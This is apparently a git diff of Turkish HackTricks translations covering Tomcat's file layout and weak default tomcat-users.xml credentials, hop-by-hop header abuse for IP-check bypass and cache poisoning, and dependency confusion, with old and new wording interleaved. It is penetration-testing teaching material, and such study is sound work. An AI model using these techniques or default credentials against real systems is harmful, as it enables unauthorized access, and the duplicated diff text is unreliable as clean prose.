Tomcat'i root ile çalıştırmamak için çok yaygın bir yapılandırma, port 80/443'te bir Apache sunucusu ayarlamak ve eğer istenen yol bir regexp ile eşleşiyorsa, isteğin farklı bir portta çalışan Tomcat'e gönderilmesidir.
### Varsayılan Yapı
```
@ -49,12 +52,12 @@ Tomcat'ı root olarak çalıştırmamak için çok yaygın bir yapılandırma, 8
└── Catalina
└── localhost
```
* `bin` klasörü, bir Tomcat sunucusunu başlatmak ve çalıştırmak için gereken betikleri ve ikili dosyaları depolar.
* `conf` klasörü, Tomcat tarafından kullanılan çeşitli yapılandırma dosyalarını depolar.
* `tomcat-users.xml` dosyası, kullanıcı kimlik bilgilerini ve atanan rolleri depolar.
* `lib` klasörü, Tomcat'ın doğru şekilde çalışabilmesi için gereken çeşitli JAR dosyalarını içerir.
* `logs` ve `temp` klasörleri geçici günlük dosyalarını depolar.
* `webapps` klasörü, Tomcat'ın varsayılan web kök dizinidir ve tüm uygulamaları barındırır. `work` klasörü bir önbellek olarak işlev görür ve çalışma zamanında verileri depolamak için kullanılır.
* `bin` klasörü, bir Tomcat sunucusunu başlatmak ve çalıştırmak için gereken betikleri ve ikili dosyaları saklar.
* `conf` klasörü, Tomcat tarafından kullanılan çeşitli yapılandırma dosyalarını saklar.
* `tomcat-users.xml` dosyası, kullanıcı kimlik bilgilerini ve atanan rollerini saklar.
* `lib` klasörü, Tomcat'in doğru çalışması için gereken çeşitli JAR dosyalarını barındırır.
* `logs` ve `temp` klasörleri, geçici günlük dosyalarını saklar.
* `webapps` klasörü, Tomcat'in varsayılan web köküdür ve tüm uygulamaları barındırır. `work` klasörü bir önbellek görevi görür ve çalışma zamanı sırasında verileri saklamak için kullanılır.
`webapps` içindeki her klasörün aşağıdaki yapıya sahip olması beklenir.
```
@ -73,10 +76,10 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
En önemli dosya `WEB-INF/web.xml` dosyasıdır, bu da dağıtım tanımlayıcısı olarak bilinir. Bu dosya, uygulama tarafından kullanılan rotalar ve bu rotaları işleyen sınıflar hakkında bilgileri depolar.\
Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` klasöründe saklanmalıdır. Bu sınıflar önemli iş mantığı yanı sıra hassas bilgiler içerebilir. Bu dosyalardaki herhangi bir güvenlik açığı, web sitesinin tamamen tehlikeye girmesine neden olabilir. `lib` klasörü, belirli uygulama için gerekli olan kütüphaneleri depolar. `jsp` klasörü, [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) olarak bilinen, önceden `JavaServer Pages` olarak bilinen dosyaları saklar ve Apache sunucusundaki PHP dosyalarına benzetilebilir.
En önemli dosya `WEB-INF/web.xml` olup, dağıtım tanımlayıcısı olarak bilinir. Bu dosya, uygulama tarafından kullanılan **yollar hakkında bilgi** ve bu yolları yöneten sınıfları saklar.\
Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` klasöründe saklanmalıdır. Bu sınıflar önemli iş mantığı ve hassas bilgiler içerebilir. Bu dosyalardaki herhangi bir zafiyet, web sitesinin tamamen tehlikeye girmesine yol açabilir. `lib` klasörü, o belirli uygulama için gereken kütüphaneleri saklar. `jsp` klasörü, [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) olarak bilinen, daha önce `JavaServer Pages` olarak adlandırılan dosyaları saklar; bu dosyalar, bir Apache sunucusundaki PHP dosyalarıyla karşılaştırılabilir.
İşte bir **web.xml** dosyası örneği.
İşte bir örnek **web.xml** dosyası.
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
@ -94,15 +97,17 @@ Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` kl
</servlet-mapping>
</web-app>
```
Yukarıdaki `web.xml` yapılandırması, **`AdminServlet` adında yeni bir servlet** tanımlar ve **`com.inlanefreight.api.AdminServlet` sınıfına** eşlenir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, yukarıda tanımlanan sınıfın disk üzerindeki yolu şöyle olacaktır:
Yukarıdaki `web.xml` yapılandırması, **`com.inlanefreight.api.AdminServlet`** sınıfına eşlenen **yeni bir servlet olan `AdminServlet`** tanımlar. Java, paket adları oluşturmak için nokta notasyonunu kullanır, bu da yukarıda tanımlanan sınıfın disk üzerindeki yolunun:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
Daha sonra, **`/admin` isteklerini `AdminServlet` ile eşlemek** için yeni bir servlet eşlemesi oluşturulur. Bu yapılandırma, **`/admin` için alınan herhangi bir isteği işlemek için `AdminServlet.class`** sınıfına yönlendirecektir. **`web.xml`** açıklaması, bir **Yerel Dosya Dahil Etme (LFI) zafiyetinden yararlanırken** kontrol edilmesi gereken önemli bir dosyadır.
olacağı anlamına gelir.
Sonra, **`AdminServlet`** ile `/admin` isteklerini **eşlemek için yeni bir servlet eşlemesi** oluşturulur. Bu yapılandırma, **`/admin`** için alınan herhangi bir isteği işlenmesi için **`AdminServlet.class`** sınıfına gönderecektir. **`web.xml`** tanımlayıcısı birçok **hassas bilgi** içerir ve **Yerel Dosya Dahil Etme (LFI) zafiyetini** kullanırken kontrol edilmesi gereken önemli bir dosyadır.
### tomcat-users
**`tomcat-users.xml`** dosyası, **`/manager` ve `host-manager` yönetici sayfalarına erişimi izin vermek** veya engellemek için kullanılır.
**`tomcat-users.xml`** dosyası, **`/manager` ve `host-manager`** yönetici sayfalarına erişimi **izin vermek** veya **izin vermemek** için kullanılır.
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -143,7 +148,7 @@ will also need to set the passwords to something appropriate.
</tomcat-users>
```
Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` rollerinin her birinin erişim sağladığı şeyleri göstermektedir. Bu örnekte, `tomcat` kullanıcısının şifresi `tomcat` olan `manager-gui` rolüne sahip olduğunu ve `admin` kullanıcı hesabı için ikinci zayıf bir şifre olan `admin`in ayarlandığını görebiliriz.
Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` rollerinin neye erişim sağladığını gösteriyor. Bu örnekte, `tomcat` kullanıcı adı ve `tomcat` şifresi olan bir kullanıcının `manager-gui` rolüne sahip olduğunu ve `admin` kullanıcı hesabı için ikinci bir zayıf şifre olan `admin` belirlendiğini görebiliriz.
## Referanslar
@ -155,14 +160,17 @@ Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` roller
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,54 +1,60 @@
# Hop-by-hop başlıkları
# hop-by-hop headers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Bu, [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) adresindeki yazının bir özetidir.**
**Bu, [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) gönderisinin bir özetidir.**
Hop-by-hop başlıkları, özellikle HTTP/1.1'de iki düğüm arasında (istemci-proxy veya proxy-proxy gibi) verileri yönetmek için kullanılan, tek bir taşıma düzeyi bağlantısına özgüdür ve iletilmemesi amaçlanmıştır. Standart hop-by-hop başlıklar arasında `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` ve `Proxy-Authenticate` bulunur ve [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)'da tanımlanmıştır. Ek başlıklar, `Connection` başlığı aracılığıyla hop-by-hop olarak belirlenebilir.
Hop-by-hop başlıkları, iki düğüm (örneğin, istemci-proxy veya proxy-proxy) arasındaki verileri yönetmek için HTTP/1.1'de kullanılan, tek bir taşıma düzeyi bağlantısına özgü başlıklardır ve iletilmek üzere tasarlanmamıştır. Standart hop-by-hop başlıkları arasında `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` ve `Proxy-Authenticate` yer alır; bunlar [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) ile tanımlanmıştır. Ek başlıklar, `Connection` başlığı aracılığıyla hop-by-hop olarak belirlenebilir.
### Hop-by-Hop Başlıklarının Kötüye Kullanımı
Proxy'ler tarafından hop-by-hop başlıkların yanlış yönetimi güvenlik sorunlarına yol açabilir. Proxy'lerin bu başlıkları kaldırması beklenirken, tüm proxy'ler bunu yapmaz ve potansiyel güvenlik açıkları oluşturur.
### Hop-by-Hop Başlıklarının Suistimali
Proxy'ler tarafından hop-by-hop başlıklarının yanlış yönetimi güvenlik sorunlarına yol açabilir. Proxy'lerin bu başlıkları kaldırması beklenirken, hepsi bunu yapmadığı için potansiyel zafiyetler oluşabilir.
### Hop-by-Hop Başlık İşleme Testi
Hop-by-hop başlıkların işlenmesi, belirli başlıklar hop-by-hop olarak işaretlendiğinde sunucu yanıtlarında meydana gelen değişikliklerin gözlemlenerek test edilebilir. Araçlar ve komut dosyaları bu süreci otomatikleştirebilir, proxy'lerin bu başlıkları nasıl yönettiğini belirleyebilir ve yanlış yapılandırmaları veya proxy davranışlarını ortaya çıkarabilir.
### Hop-by-Hop Başlık Yönetimini Test Etme
Hop-by-hop başlıklarının yönetimi, belirli başlıklar hop-by-hop olarak işaretlendiğinde sunucu yanıtlarındaki değişiklikleri gözlemleyerek test edilebilir. Araçlar ve betikler bu süreci otomatikleştirerek, proxy'lerin bu başlıkları nasıl yönettiğini belirleyebilir ve potansiyel yanlış yapılandırmaları veya proxy davranışlarını ortaya çıkarabilir.
Hop-by-hop başlıklarının kötüye kullanılması çeşitli güvenlik sonuçlarına yol açabilir. Aşağıda, bu başlıkların potansiyel saldırılar için nasıl manipüle edilebileceğini gösteren birkaç örnek bulunmaktadır:
Hop-by-hop başlıklarının suistimali çeşitli güvenlik sonuçlarına yol açabilir. Aşağıda, bu başlıkların potansiyel saldırılar için nasıl manipüle edilebileceğini gösteren birkaç örnek bulunmaktadır:
### `X-Forwarded-For` ile Güvenlik Kontrollerini Atlama
Bir saldırgan, IP tabanlı erişim kontrollerini atlatabilmek için `X-Forwarded-For` başlığını manipüle edebilir. Bu başlık, proxy'lerin istemcinin kaynak IP adresini takip etmek için sıklıkla kullandığı bir başlıktır. Ancak, bir proxy bu başlığı hop-by-hop olarak işlemeyi ve doğrulama yapmadan iletmeyi tercih ederse, bir saldırgan IP adresini sahteler.
### `X-Forwarded-For` ile Güvenlik Kontrollerini Aşma
Bir saldırgan, IP tabanlı erişim kontrollerini aşmak için `X-Forwarded-For` başlığını manipüle edebilir. Bu başlık, genellikle proxy'ler tarafından bir istemcinin kaynak IP adresini izlemek için kullanılır. Ancak, bir proxy bu başlığı hop-by-hop olarak ele alır ve uygun doğrulama olmadan iletirse, bir saldırgan IP adresini taklit edebilir.
**Saldırı Senaryosu:**
1. Saldırgan, bir proxy'nin arkasındaki bir web uygulamasına sahte bir IP adresini `X-Forwarded-For` başlığında içeren bir HTTP isteği gönderir.
2. Saldırgan ayrıca `Connection: close, X-Forwarded-For` başlığını da ekler, bu da proxy'nin `X-Forwarded-For`'u hop-by-hop olarak işlemesine neden olur.
3. Yanlış yapılandırılmış proxy, sahtelenmiş `X-Forwarded-For` başlığı olmadan isteği web uygulamasına iletiyor.
4. Web uygulaması, orijinal `X-Forwarded-For` başlığını görmeyerek isteği doğrudan güvenilir bir proxyden geliyormuş gibi değerlendirebilir ve yetkisiz erişime izin verebilir.
1. Saldırgan, `X-Forwarded-For` başlığında sahte bir IP adresi içeren bir HTTP isteği gönderir.
2. Saldırgan ayrıca `Connection: close, X-Forwarded-For` başlığını ekler, bu da proxy'nin `X-Forwarded-For`'u hop-by-hop olarak ele almasını sağlar.
3. Yanlış yapılandırılmış proxy, sahte `X-Forwarded-For` başlığı olmadan isteği web uygulamasına iletir.
4. Web uygulaması, orijinal `X-Forwarded-For` başlığını görmediği için isteği güvenilir bir proxy'den geliyormuş gibi değerlendirebilir ve yetkisiz erişime izin verebilir.
### Hop-by-Hop Başlık Enjeksiyonu ile Önbellek Zehirlenmesi
Bir önbellek sunucusu, hop-by-hop başlıklara dayalı olarak içeriği yanlış bir şekilde önbelleğe alıyorsa, bir saldırgan kötü amaçlı başlıklar enjekte ederek önbelleği zehirleyebilir. Bu, aynı kaynağı isteyen kullanıcılara yanlış veya kötü amaçlı içerik sunar.
### Hop-by-Hop Başlık Enjeksiyonu ile Önbellek Zehirleme
Eğer bir önbellek sunucusu hop-by-hop başlıklarına dayanarak içeriği yanlış bir şekilde önbelleğe alırsa, bir saldırgan kötü niyetli başlıklar enjekte ederek önbelleği zehirleyebilir. Bu, aynı kaynağı talep eden kullanıcılara yanlış veya kötü niyetli içerik sunar.
**Saldırı Senaryosu:**
1. Bir saldırgan, önbelleğe alınmaması gereken bir hop-by-hop başlıkla bir web uygulamasına bir istek gönderir (örneğin, `Connection: close, Cookie`).
2. Kötü yapılandırılmış önbellek sunucusu hop-by-hop başlığı kaldırmaz ve saldırganın oturumuna özgü yanıtı önbelleğe alır.
3. Aynı kaynağı isteyen gelecekteki kullanıcılar, saldırgan için özelleştirilmiş önbelleğe alınmış yanıtı alır, bu da oturum ele geçirmeye veya hassas bilgilerin ortaya çıkmasına yol açabilir.
1. Bir saldırgan, önbelleğe alınmaması gereken bir hop-by-hop başlığı (örneğin, `Connection: close, Cookie`) ile bir web uygulamasına istek gönderir.
2. Kötü yapılandırılmış önbellek sunucusu hop-by-hop başlığını kaldırmaz ve yanıtı saldırganın oturumuna özgü olarak önbelleğe alır.
3. Aynı kaynağı talep eden gelecekteki kullanıcılar, saldırgana özel olarak hazırlanmış önbelleğe alınmış yanıtı alır; bu da oturum kaçırma veya hassas bilgilerin ifşasına yol açabilir.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Bağımlılık Karışıklığı
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR gönderin**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,37 +22,37 @@
## Temel Bilgiler
Özetle, bir bağımlılık karışıklığı zafiyeti, bir proje **yanlış yazılmış** bir kütüphaneyi kullandığında, **var olmayan** veya **belirtilmemiş bir sürümle** ve kullanılan bağımlılık deposunun **güncellenmiş sürümleri toplamaya izin verdiğinde** meydana gelir.
Özetle, bir bağımlılık karışıklığı ığı, bir projenin **yanlış yazılmış**, **mevcut olmayan** veya **belirtilmemiş bir versiyona** sahip bir kütüphane kullanması ve kullanılan bağımlılık deposunun **güncellenmiş versiyonları kamuya açık** depolardan **toplamasına** izin vermesi durumunda meydana gelir.
* **Yanlış yazılmış**: `requests` yerine **`reqests`** içe aktar
* **Var olmayan**: Artık **var olmayan** bir iç kütüphane olan `company-logging`i içe aktar
* **Belirtilmemiş sürüm**: **Var olan**`company-requests` kütüphanesini içe aktar, ancak depo **genel depolardan daha büyük sürümler** var mı diye kontrol eder.
* **Yanlış yazılmış**: `requests` yerine **`reqests`** içe aktarımı
* **Mevcut olmayan**: **artık mevcut olmayan** bir iç kütüphane olan `company-logging` içe aktarımı
* **Belirtilmemiş versiyon**: **mevcut** bir `company-requests` kütüphanesini içe aktarmak, ancak repo **daha büyük versiyonlar** olup olmadığını görmek için **kamuya açık repos** kontrol eder.
## Sömürü
{% hint style="warning" %}
Tüm durumlarda saldırganın sadece kurban şirketin kullandığı kütüphanelerin adını taşıyan **kötü amaçlı bir paket yayınlaması yeterlidir**.
Tüm durumlarda, saldırganın sadece kurban şirketin kullandığı kütüphanelerin **adıyla kötü niyetli bir paket yayınlaması** yeterlidir.
{% endhint %}
### Yanlış Yazılmış & Var Olmayan
### Yanlış Yazılmış & Mevcut Olmayan
Şirketinizin **iç olmayan bir kütüphaneyi içe aktarmaya çalıştığında**, kütüphanelerin deposunun bunu **genel depolarda arayacağı** oldukça olasıdır. Bir saldırgan bunu oluşturduysa, kodunuz ve çalışan makineleriniz büyük olasılıkla tehlikeye girecektir.
Eğer şirketiniz **iç kütüphane olmayan bir kütüphaneyi içe aktarmaya çalışıyorsa**, kütüphaneler deposunun **kamuya açık depolarda** arama yapması muhtemeldir. Eğer bir saldırgan bunu oluşturmuşsa, kodunuz ve çalışan makinelerinizin büyük ihtimalle tehlikeye girecektir.
### Belirtilmemiş Sürüm
### Belirtilmemiş Versiyon
Geliştiricilerin kütüphanenin sürümünü **belirtmemesi** veya sadece bir **ana sürümü belirtmesi** oldukça yaygındır. Ardından, yorumlayıcı bu gereksinimleri karşılayan **en son sürümü indirmeye çalışacaktır**.\
Eğer kütüphane **bilinen harici bir kütüphane** ise (örneğin python `requests`), bir **saldırgan pek bir şey yapamaz**, çünkü `requests` adında bir kütüphane oluşturamaz (asıl yazar değilse).\
Ancak, kütüphane **içsel** ise, bu örnekte olduğu gibi `requests-company` gibi, eğer **kütüphane deposu** dışarıdan da **yeni sürümleri kontrol etmeye izin veriyorsa**, genelde bulunan daha yeni bir sürüm arayacaktır.\
Bu nedenle, bir **saldırganın** şirketin `requests-company` kütüphanesini **1.0.1 sürümü** olarak kullandığını **bildiğini varsayalım** (küçük güncellemelere izin verir). O, `requests-company` kütüphanesini **1.0.2 sürümü** olarak **yayınlayabilir** ve şirket **iç kütüphanenin yerine bu kütüphaneyi kullanacaktır**.
Geliştiricilerin kullandıkları kütüphanenin **herhangi bir versiyonunu belirtmemesi** veya sadece bir **ana versiyon** belirtmesi oldukça yaygındır. Sonra, yorumlayıcı bu gereksinimlere uyan **en son versiyonu** indirmeye çalışacaktır.\
Eğer kütüphane **bilinen bir dış kütüphane** ise (örneğin python `requests`), bir **saldırganın yapabileceği pek bir şey yoktur**, çünkü `requests` adında bir kütüphane oluşturamayacaktır (eğer orijinal yazar değilse).\
Ancak, eğer kütüphane **içsel** ise, bu örnekteki gibi `requests-company`, eğer **kütüphane reposu** **yeni versiyonları dışarıdan kontrol etmeye** izin veriyorsa, kamuya açık olarak mevcut daha yeni bir versiyonu arayacaktır.\
Yani eğer bir **saldırgan** şirketin `requests-company` kütüphanesinin **1.0.1** versiyonunu kullandığını biliyorsa (küçük güncellemeleri kabul eder). O, `requests-company` kütüphanesinin **1.0.2** versiyonunu **yayınlayabilir** ve şirket bu kütüphaneyi **iç kütüphanesi yerine kullanacaktır**.
## AWS Düzeltmesi
Bu zafiyet, AWS **CodeArtifact**'ta bulundu (detayları [**bu blog yazısında**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d) okuyun).\
AWS, iç bağımlılıkları dış depolardan indirmeyi önlemek için bir kütüphanenin içsel veya harici olup olmadığını belirtmeye izin vererek bunu düzeltti.
Bu ık AWS **CodeArtifact**'ta bulundu (bu blog yazısında [**detayları okuyun**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
AWS, bir kütüphanenin içsel veya dışsal olup olmadığını belirtmeye izin vererek, iç bağımlılıkların dış reposlardan indirilmesini önleyerek bunu düzeltmiştir.
## Zafiyetli Kütüphanelerin Bulunması
## ık Kütüphaneleri Bulma
[**Bağımlılık karışıklığı hakkındaki orijinal yazıda**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) yazar, binlerce açıkta kalan package.json dosyasını arayarak JavaScript projelerinin bağımlılıklarını buldu.
[**bağımlılık karışıklığı hakkında orijinal yazıda**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) yazar, javascript projelerinin bağımlılıklarını içeren binlerce ifşa edilmiş package.json dosyasını aradı.
## Referanslar
@ -60,14 +63,17 @@ AWS, iç bağımlılıkları dış depolardan indirmeyi önlemek için bir küt
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
